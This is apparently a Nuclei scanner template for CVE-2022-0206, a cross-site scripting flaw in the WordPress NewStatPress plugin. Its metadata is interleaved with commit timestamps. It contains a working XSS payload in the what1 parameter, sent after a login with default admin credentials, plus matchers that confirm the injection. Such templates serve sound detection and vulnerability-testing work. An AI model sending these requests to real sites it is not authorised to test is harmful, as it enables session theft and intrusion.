2023-03-18 22:07:09 +00:00
id : CVE-2022-0206
info :
2023-03-28 19:25:03 +00:00
name : WordPress NewStatPress <1.3.6 - Cross-Site Scripting
2023-03-18 22:07:09 +00:00
author : r3Y3r53
severity : medium
description : |
2023-03-28 19:25:03 +00:00
WordPress NewStatPress plugin before 1.3.6 is susceptible to cross-site scripting. The plugin does not properly escape the whatX parameters before outputting them back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
2023-09-06 11:59:08 +00:00
remediation : Fixed in version 1.3.6.
2023-03-18 22:07:09 +00:00
reference :
- https://wpscan.com/vulnerability/ce12437a-d440-4c4a-9247-95a8f39d00b9
- https://wordpress.org/plugins/newstatpress
- https://nvd.nist.gov/vuln/detail/CVE-2022-0206
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/cvemon
2023-03-18 22:07:09 +00:00
classification :
2023-03-20 07:05:15 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2023-03-18 22:07:09 +00:00
cve-id : CVE-2022-0206
2023-03-20 07:05:15 +00:00
cwe-id : CWE-79
2023-10-14 11:27:55 +00:00
epss-score : 0.00106
2024-03-23 09:28:19 +00:00
epss-percentile : 0.42122
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:*
2023-03-18 22:07:09 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : newstatpress_project
product : newstatpress
2023-09-06 11:59:08 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,xss,wp,authenticated,wordpress,wp-plugin,newstatpress,wpscan,newstatpress_project
2023-03-18 22:07:09 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-18 22:07:09 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log=admin&pwd=admin123&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=nsp_search&what1=%27+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'status_code_2 == 200'
2023-06-19 21:10:30 +00:00
- 'contains(header_2, "text/html")'
2023-03-18 22:07:09 +00:00
- 'contains(body_2, "onanimationstart=alert(document.domain)")'
- 'contains(body_2, "newstatpress_page")'
condition : and
2024-03-25 11:57:16 +00:00
# digest: 4a0a0047304502210099ba38d2af5fabba77de256d432356976787d01bec7be14985866d3919cb6325022004f0622bdf1358a7fbf7c834e1883c75e961896d6a8cbecece71ae8073714d40:922c64590222798bb761d5b6d8e72950